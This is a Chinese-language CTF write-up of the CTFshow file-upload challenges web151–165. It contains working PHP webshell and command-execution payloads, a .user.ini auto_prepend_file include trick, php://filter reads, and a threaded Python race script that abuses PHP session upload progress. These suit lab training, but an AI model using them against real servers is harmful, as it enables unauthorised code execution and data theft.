CTFshow-文件上传

web151~152

抓包改后缀,把png改成php,然后一句话木马直连。

web153

这题目进度有点快啊,还以为单一验证的预期解是通过phtml等没有被加入黑名单的后缀名绕过,没想到直接就.user.ini了。

对于.user.ini的利用可以看user.ini文件构成的PHP后门这篇文章,主要就是关于文件包含的配置项:auto_prepend_fileauto_apend_file,这两个配置项有什么功能呢?

官方手册中这样记载:

auto_prepend_file字符串 指定在主文件之前自动解析的文件的名称。如同使用require函数调用文件一样包含文件,因此使用include_path。

auto_append_file字符串 指定在主文件之后自动解析的文件的名称。如同使用require函数调用文件一样包含文件,因此使用include_path。

也就是一个先包含再执行php,另一个先执行php再包含,后一个能成功包含的前提就是php程序没有退出,这点官方手册也说明了。

Note: If the script is terminated with exit(), auto-append will not occur.

使用auto_prepend_file配置项上传.user.ini

auto_prepend_file=0.png

然后png传个一句话木马,.user.ini的生效时间默认是300秒,也就是5分钟,到点蚁剑连upload/就行。

web154~158

内容过滤了一些关键字,fuzz一下就能知道,直接.user.ini包含png,使用短标签<?=system('tac ../f*')?>读取flag。

web159

大中小括号都ban了,直接反引号命令执行

1
<?=`tac ../f*`?>

web160

反引号也ban了,预期解应该是字符串拼接完成nginx日志包含,我这里是使用伪协议读取flag文件(知道flag路径和文件名就是任性):

1
<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>

web161

加个图片的文件头,比如GIF的GIF89a,然后和160一样。

web162~163

又ban了点,不能使用字符串拼接了,使用session文件包含,这个点在文件包含出现过,传送门

.user.ini

GIF89a
auto_prepend_file=/tmp/sess_tyskill

脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# -*- coding: utf-8 -*-
# __Auther__: tyskill
import io, requests, threading
phpsessid = 'tyskill'
url = 'http://bbbe2edd-d82a-42ce-b64d-45557d2b12f4.chall.ctf.show/'
def write(session, target):
    while True:
        file_con = io.BytesIO(b'GIF89a\naaaaaa')
        res = session.post(url=target + "upload.php", data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'}, files={'file': ('0.png', file_con, 'image/png')}, cookies={'PHPSESSID': phpsessid})
def read(session, target):
    while True:
        res = session.get(url=target+"upload")
        if 'flag' in res.text:
            print(res.text)
            event.clear()
if __name__ == "__main__":
    event = threading.Event()
    with requests.session() as session:
        for i in range(1, 10):
            threading.Thread(target=write, args=(session, url)).start()
        for i in range(1, 10):
            threading.Thread(target=read, args=(session, url)).start()
    event.set()
    # 手动停

web164~165

二次渲染,使用CTFSHOW文件上传篇的脚本即可。

后面的就不做了,太懒了😓

参考

CTFSHOW文件上传篇